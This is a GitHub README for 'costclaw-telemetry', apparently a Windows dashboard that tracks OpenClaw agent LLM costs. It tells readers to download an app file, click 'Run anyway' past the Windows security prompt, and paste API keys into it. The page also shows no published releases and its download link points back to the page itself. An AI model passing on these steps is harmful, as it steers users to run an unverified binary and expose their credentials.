Skip to content

queenvest0-ux/costclaw-telemetry

Repository files navigation

📊 costclaw-telemetry - Track OpenClaw Costs With Clarity

Download costclaw-telemetry

🖥️ What this app does

costclaw-telemetry helps you track OpenClaw agent costs in real time. It shows where your usage goes, how much each run costs, and what your dashboard looks like at a glance.

Use it when you want a simple way to follow LLM spend without digging through logs or spreadsheets.

✨ Main features

  • Live cost tracking for OpenClaw agents
  • Simple dashboard for usage and spend
  • Clear view of token use and model cost
  • Local storage with SQLite
  • Fast setup on Windows
  • Built for everyday use
  • Easy-to-read totals and trends

📋 Before you start

You only need a Windows PC and a web browser.

For the best setup, have these ready:

  • Windows 10 or Windows 11
  • An active internet connection
  • A browser like Edge, Chrome, or Firefox
  • Access to your OpenClaw setup
  • Permission to install and run apps on your PC

⬇️ Download and open

Visit this page to download and run the app:

https://github.com/queenvest0-ux/costclaw-telemetry

After the page opens:

  1. Find the latest release or main download area
  2. Download the Windows version
  3. Open the downloaded file
  4. Follow the setup steps on screen
  5. Launch costclaw-telemetry from your Start menu or desktop

🚀 Install on Windows

  1. Open the download page in your browser
  2. Download the Windows app file
  3. If Windows shows a security prompt, choose Run or More info, then Run anyway if you trust the source
  4. Wait for the app to finish installing
  5. Open the app after setup ends

If the app creates a shortcut, you can open it from there any time.

🔧 Set up your OpenClaw connection

After you open the app, connect it to your OpenClaw agent setup.

  1. Open the settings screen in costclaw-telemetry
  2. Paste your OpenClaw project or agent details
  3. Save your settings
  4. Start your agent or app flow
  5. Watch the dashboard update as usage comes in

If your setup uses an API key or local config file, add it in the field shown in the app. Keep the details in the same place you use for your other OpenClaw tools.

📈 What you will see in the dashboard

The dashboard gives you a clear view of cost and usage. You can expect:

  • Total spend for the day, week, or month
  • Cost per run or task
  • Token use by model
  • Recent activity from active agents
  • Trend view for rising or falling costs
  • SQLite-backed local history for later review

This makes it easier to spot heavy tasks, high-cost models, and sudden jumps in spend.

🧭 How to use it day to day

Use the app while your OpenClaw agents run.

  1. Open costclaw-telemetry
  2. Start your agent tasks
  3. Check the live totals
  4. Review high-cost runs
  5. Compare models and tasks over time

If you run several agents, keep the dashboard open on a second screen. That helps you watch cost changes while work is in progress.

🛠️ Common tasks

View recent cost history

Open the dashboard and sort by time. This helps you see what changed after a new run or model switch.

Find a costly run

Look for tasks with higher token use or long run time. Then compare them with other runs.

Check model use

Use the model view to see which LLM drives most of your spend.

Review local data

Because the app uses SQLite, your history stays easy to store and inspect on your device.

⚙️ Suggested setup for smooth use

For the best result on Windows:

  • Keep the app updated
  • Leave the dashboard open during active agent runs
  • Use one browser window for setup and one for monitoring
  • Store your OpenClaw details in one place
  • Back up your local data folder if you want to keep long-term records

🧩 Typical use cases

  • Track OpenClaw spend for a single agent
  • Watch several agents from one dashboard
  • Compare cost between models
  • Spot expensive tasks fast
  • Keep a local record of LLM usage
  • Monitor cost trends during testing and development

❓ Questions you may have

Do I need coding knowledge?

No. You can download the app, open it, and follow the on-screen setup.

Does it work offline?

The dashboard keeps local records with SQLite. Live tracking needs the app to connect to your active OpenClaw setup.

Can I use it for more than one agent?

Yes. You can track multiple agents if they feed data into the same dashboard setup.

Where is my data stored?

Data stays on your Windows machine in a local SQLite database.

What should I do if the dashboard looks empty?

Check that your OpenClaw agent is running, then confirm the app settings match your current setup.

🔍 Files and topics in this repo

This project is focused on:

  • ai-agents
  • ai-cost-optimization
  • cost-dashboard
  • llm-cost-tracking
  • llm-costs
  • llm-monitoring
  • openclaw
  • openclaw-plugin
  • sqlite
  • typescript

These topics point to a local tool for monitoring agent spend and usage in a simple way on Windows.

About

Track OpenClaw LLM calls, show real costs, and cut agent spend with a local dashboard and no data leaving your machine

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors